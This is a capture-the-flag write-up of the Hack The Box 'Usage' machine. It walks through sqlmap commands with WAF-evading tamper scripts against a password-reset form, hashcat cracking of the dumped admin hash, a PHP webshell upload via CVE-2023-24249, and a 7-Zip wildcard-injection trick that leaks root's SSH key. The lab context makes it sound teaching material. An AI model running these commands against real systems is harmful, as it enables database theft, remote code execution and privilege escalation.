Summary

Usage is an easy HTB Linux box.

It hosts a web application with a password recovery feature that is vulnerable to SQL Injection (SQLi).

We used SQLMap to dump the entire SQL database and found the administrator password for the Laravel dashboard on the admin virtual host.

The Laravel dashboard is version v1.8.19, which is vulnerable to CVE-2023-24249, an arbitrary file upload vulnerability that allows attackers to execute arbitrary code via a crafted PHP file.

We upload a PHP webshell, gaining a shell as the dash user.

In dash’s home directory, there’s a hidden .monitrc file with credentials for a Monit dashboard. The password also work for the local user xander.

As xander, the user can execute the custom binary usage_management as root using sudo rights.

Running strings on the binary shows it uses 7za with a wildcard, which opens up wildcard injection.

We exploited the wildcard injection by creating a symlink and a special file to trick 7za into revealing root’s SSH key.

Writeup

Information Gathering

We start by running an Nmap TCP version scan on all ports, revealing an SSH service and an nginx webserver. We also discover that it’s a Linux machine.

┌──(user㉿kali)-[~]
└─$ sudo nmap -sV -T4 -v <BOX-IP> -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 15:53 WEST
<SNIP>
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visiting the web server in our browser redirects us to usage.htb, which we add to our /etc/hosts file.

The site's landing page.

The site's landing page.

The site is pretty bare-bones, featuring just a minimalistic layout with registration, login, and admin pages.

After registering and logging in, we’re taken to /dashboard, where we find some blog posts.

The dashboard containing posts.

The dashboard containing posts.

If you’re familiar with Laravel, the PHP web framework, you might recognize the default page of this site. Even if you’re not, the HTTP headers show a laravel_session cookie, confirming the use of Laravel.

┌──(user㉿kali)-[~]
└─$ curl -I http://usage.htb/                         
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: no-cache, private
Date: Tue, 06 Aug 2024 15:02:39 GMT
Set-Cookie: XSRF-TOKEN=eyJpdid<SNIP>iIn0%3D; expires=Tue, 06 Aug 2024 17:02:39 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpo<SNIP>iIn0%3D; expires=Tue, 06 Aug 2024 17:02:39 GMT; Max-Age=7200; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff

Clicking the admin button redirects us to another virtual host, admin.usage.htb, which we also add to our /etc/hosts.

Here, we encounter a login page for what appears to be the administrator dashboard.

The administrator virtual host.

The administrator virtual host.

Vulnerability #1 - SQL Injection

Vulnerability Assessment

With limited options, pretty much all we can do is to try a login brute force attack on the admin virtual host or look for vulnerabilities on the main site’s features.

Fortunately (or unfortunately, depending on your perspective), there aren’t many features to work with, just login, registration and password recovery.

The most likely vulnerability here is a SQL injection (SQLi), as all features involve storing or retrieving information, suggesting database interaction.

If the features weren’t properly developed and don’t sanitize inputs, we might be able to inject our own queries and access database information.

I like to use SQLMap to automate the search for SQLi vulnerabilities. If there’s no Web Application Firewall (WAF) blocking it, SQLMap can often identify any SQLi issues.

We can test for SQLi in three main areas:

  1. The POST request for login on /login.
  2. The POST request for registration on /registration.
  3. The POST request for password reset on /forget-password, which is linked from the login page.

We discovered that the /forget-password form is vulnerable to a blind boolean-based SQL injection.

The password recovery page.

The password recovery page.

This is the HTTP request:

POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=<TOKEN>; laravel_session=<TOKEN>
Upgrade-Insecure-Requests: 1

_token=<TOKEN>&[email protected]

This SQLi was tricky to detect, so here’s the command I used to uncover it:

sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]' --csrf-token="_token" --level 5 --tamper=between,space2comment -p email --batch

The command includes some key flags and parameters, so let’s break it down.

First, notice that the request includes two parameters: _token and email. The _token is a CSRF token designed to prevent Cross-Site Request Forgery attacks by verifying that requests come from authenticated and trusted sources.

To handle this, we need to use the --csrf parameter to provide the CSRF token in our requests, allowing SQLMap to interact with the web application without being blocked by CSRF protection.

Secondly, during the SQLMap scan with CSRF bypass, the output shows that a Web Application Firewall (WAF) is present.

┌──(user㉿kali)-[~]
└─$ sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]' --csrf-token="_token" -p email --batch
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[']_____ ___ ___  {1.8.5#stable}                                                                                                                                                                                                   
|_ -| . [']     | .'| . |                                                                                                                                                                                                                  
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

<SNIP>
[10:49:56] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
<SNIP>

Web Application Firewalls (WAFs) are security tools designed to protect web applications by filtering and monitoring HTTP traffic to prevent attacks like SQL injection (SQLi) from compromising the application.

SQLMap offers features to help bypass detection, such as adjusting the level of tests and using tamper scripts.

Setting --level 5 makes SQLMap perform deeper and more diverse tests to find SQL injection vulnerabilities.

Tamper scripts like --tamper=between,space2comment tweak the payloads in specific ways to evade security filters by changing the syntax or encoding of the SQL code.

After applying these tweaks, SQLMap detects a boolean-based blind SQLi in the email parameter.

┌──(user㉿kali)-[~]
└─$ sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]'  --csrf-token="_token" -p email --tamper=between,space2comment --level 5 --batch
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[.]_____ ___ ___  {1.8.5#stable}                                                                                                                                                                                                   
|_ -| . [']     | .'| . |                                                                                                                                                                                                                  
|___|_  [)]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               
<SNIP>
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 772 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: _token=<TOKEN>&email=[email protected]' AND EXTRACTVALUE(6478,CASE WHEN (6478=6478) THEN 6478 ELSE 0x3A END) AND 'AJib'='AJib
---
<SNIP>

Exploitation

With the vulnerability identified, we can now use SQLMap to dump the names of the tables in the database. Since this is a blind boolean-based SQLi, the process might take some time.

┌──(user㉿kali)-[~]
└─$ sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]'  --csrf-token="_token" -p email --tamper=between,space2comment --level 5 --batch --tables --exclude-sysdbs 
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[.]_____ ___ ___  {1.8.5#stable}                                                                                                                                                                                                   
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                  
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

<SNIP>
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+

The admin_users table catches our eye, as it likely contains the password hash for the admin virtual host we found earlier. Let’s dump the contents of this table.

┌──(user㉿kali)-[~]
└─$ sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]' --csrf-token="_token" -p email --tamper=between,space2comment --level 5 --batch -T admin_users --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.5#stable}
|_ -| . [.]     | . | . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

<SNIP>
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------+---------------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | idatar  | name          | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------+---------------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | <blank> | Administrator | $2y$10$ohq.................<SNIP>.......................PrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThX.....................<SNIP>.........................rsLT |
+----+---------+---------------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+

As expected, we retrieve a password hash. Using hashid, we identify it as Blowfish.

┌──(user㉿kali)-[~]
└─$ hashid '$2y$10$ohq<SNIP>PrL2' -m
Analyzing '$2y$10$ohq<SNIP>PrL2'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x 
[+] bcrypt [Hashcat Mode: 3200]

We can crack this hash with Hashcat using the rockyou.txt wordlist.

┌──(user㉿kali)-[/tmp]
└─$ sudo hashcat -m 3200 admin.hash /usr/share/wordlists/rockyou.txt    
hashcat (v6.2.6) starting

<SNIP>

$2y$10$ohq<SNIP>PrL2:<PASSWORD>
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$ohq<SNIP>PrL2
Time.Started.....: Wed Aug  7 16:47:12 2024 (16 secs)
Time.Estimated...: Wed Aug  7 16:47:28 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      103 H/s (10.44ms) @ Accel:8 Loops:16 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1600/14344385 (0.01%)
Rejected.........: 0/1600 (0.00%)
Restore.Point....: 1536/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1008-1024
Candidate.Engine.: Device Generator
Candidates.#1....: clover -> dragon1

Started: Wed Aug  7 16:46:26 2024
Stopped: Wed Aug  7 16:47:30 2024

Once cracked, we use the password to log in at admin.usage.htb, giving us access to the Laravel administrator dashboard.

The laravel admin dashboard after authenticating.

The laravel admin dashboard after authenticating.

Vulnerability #2 - CVE-2023-24249

Vulnerability Assessment

Administrator dashboards for web applications often have built-in features that can be exploited for Remote Code Execution (RCE) on the underlying server, not to mention potential CVEs.

A quick Google search for “laravel admin 10.18.0 cve” reveals CVE-2023-24249, an arbitrary file upload vulnerability that allows attackers to execute arbitrary code via a crafted PHP file.

There are some PoC scripts out there, but this blog post does a great job of breaking down the exploit steps. It’s short, so I recommend giving it a read to understand how it works.

Exploitation

In summary, the profile picture upload feature doesn’t properly restrict PHP extensions, which allows us to bypass the filter and upload a PHP webshell to the server. The trick is to upload a random image, intercept the request with Burp Suite, swap the image with a PHP webshell, and rename the file extension to something like jpg.php.

Webshell as dash.

Webshell as dash.

However, the webshell file kept getting deleted, and any reverse shell I spawned would die after a few minutes. This suggests there’s a cleanup cronjob running in the background, likely as part of the CTF. To get around this, I recommend immediately reading the private SSH key in the dash user’s home directory and using it to SSH into the server as them.

┌──(user㉿kali)-[~]
└─$ sudo logshell rlwrap nc -lnvp 4444
connect to [<MY-IP>] from (UNKNOWN) [<BOX-IP>] 41412
dash@usage:~$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----

Privilege Escalation

User

The first thing I do after getting a shell as a user is check their home directory, especially the hidden dotfiles.

There are quite a few unusual files, including .monitrc, which looks like a configuration file.

dash@usage:~$ ls -la .
total 908
drwxr-x--- 8 dash dash   4096 Aug  8 10:41 .
drwxr-xr-x 4 root root   4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root      9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash   3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash   4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash   4096 Aug 20  2023 .config
drwx------ 3 dash dash   4096 Aug  8 10:38 .gnupg
-rw------- 1 dash dash     20 Aug  8 10:30 .lesshst
-rwxrwxrwx 1 dash dash 862777 Jul 24 21:12 linpeas.sh
drwxrwxr-x 3 dash dash   4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash     32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash      6 Aug  8 10:41 .monit.pid
-rwx------ 1 dash dash    707 Oct 26  2023 .monitrc
-rw------- 1 dash dash   1192 Aug  8 10:41 .monit.state
-rw-r--r-- 1 dash dash    807 Jan  6  2022 .profile
drwx------ 3 dash dash   4096 Aug  8 10:31 snap
drwx------ 2 dash dash   4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash     33 Aug  8 10:14 user.txt

This file contains credentials for a web application running on port 2812. Since Nmap didn’t pick this up, it’s likely not exposed externally.

dash@usage:~$ cat .monitrc 
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:<PASSWORD>

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert

Using curl on the localhost reveals that it’s a web interface for Monit 3.31.0, a tool for monitoring and managing Unix systems.

dash@usage:~$ curl http://127.0.0.1:2812/
<html>
  <head>
    <title>401 Unauthorized</title>
  </head>
  <body bgcolor=#FFFFFF>
    <h2>Unauthorized</h2>You are not authorized to access monit. Either you supplied the wrong credentials (e.g. bad password), or your browser doesn't understand how to supply the credentials required
    <hr>
    <a href='http://mmonit.com/monit/'>
      <font size=-1>monit 5.31.0</font>
    </a>
  </body>
</html>

The Monit process runs under the dash user, so even if we exploited it, we’d likely only get RCE as dash, which we already have. We need a different approach.

dash@usage:~$ ps aux | grep monit
dash       66624  0.0  0.0  84684  3480 ?        Sl   10:58   0:00 /usr/bin/monit

When I find a password that I’m unsure how to use, I like to try it on other services or accounts in case of password reuse. By this point, I had already done some internal recon and found another user on the box with a home directory: xander.

dash@usage:~$ ls /home
dash  xander

Fortunately, the password works, and now we have a shell as the xander user.

dash@usage:~$ su xander
Password: 
xander@usage:/home/dash$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)

Root

Checking xander’s privileges, we see they can run a binary called usage_management as root.

xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

It’s an ELF file, so cating it just gives us gibberish since it’s a binary, not plain text.

xander@usage:~$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64 <SNIP>

Running the binary reveals options to run commands, including one to back up the web application as a compressed zip file.

xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7513 32-Core Processor                 (A00F11),ASM,AES-NI)

Scanning the drive:
2984 folders, 17971 files, 114778547 bytes (110 MiB)                         

Creating archive: /var/backups/project.zip

Items to compress: 20955

                                                                               
Files read from disk: 17971
Archive size: 54870995 bytes (53 MiB)
Everything is Ok

Since we have sudo rights on this binary, our goal is to get it to execute commands or read/write files for us. To figure out how to exploit it, we need to reverse engineer it. Without source code, we start with binary analysis.

The very first thing I like to do is to run strings on the binary. This command pulls out any readable text, which can give us clues about how the binary works.

xander@usage:~$ strings /usr/bin/usage_management
<SNIP>
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 
Invalid choice.
<SNIP>

It looks like when backing up the project, the program changes to the /var/www/html directory and uses the 7za command with a wildcard.

Whenever I see a wildcard, I start thinking of wildcard injection attacks. Googling for 7za wildcard injection leads to this HackTricks article that explains the exploitation method.

Here’s the idea: create a symlink as a .txt file in the directory where compression happens, pointing to a root-protected file you want to access. Then, make another file named @<symlink-filename>.txt. This tricks 7z into thinking the symlink file is a list of files to compress. In reality, the symlink points to the protected file, and the mismatch causes an error that reveals the content of the protected file.

I used this exploit to read the root’s SSH key, but you could also grab the root.txt flag from its home directory.

xander@usage:/var/www/html$ touch @id_rsa.txt
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa.txt
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7513 32-Core Processor                 (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
--       
Path = /var/backups/project.zip
Type = zip
Physical Size = 54871992

Scanning the drive:
          
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----


WARNING: No more files
b3BlbnNzaC1rZXktdjEAA<SNIP>vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW


WARNING: No more files
QyNTUxOQAAACC20mOr6LA<SNIP>+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi


WARNING: No more files
QgAAAAtzc2gtZWQyNTUxO<SNIP>20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q


WARNING: No more files
AAAEC63P+5DvKwuQtE4YO<SNIP>fSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs


WARNING: No more files
H2sfTWZeFDLGmqMhrqDdA<SNIP>vb3RAdXNhZ2UBAgM=


WARNING: No more files
-----END OPENSSH PRIVATE KEY-----

<SNIP>

With that done, SSH in as root, and the box is complete.

┌──(user㉿kali)-[/tmp]
└─$ ssh root@<BOX-IP> -i id_rsa 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
<SNIP>
root@usage:~# ls -l
total 16
-rwxr-xr-x 1 root root  307 Apr  3 13:24 cleanup.sh
-rw-r----- 1 root root   33 Aug  8 11:26 root.txt
drwx------ 3 root root 4096 Aug  6  2023 snap
-rw-r--r-- 1 root root 1444 Oct 28  2023 usage_management.c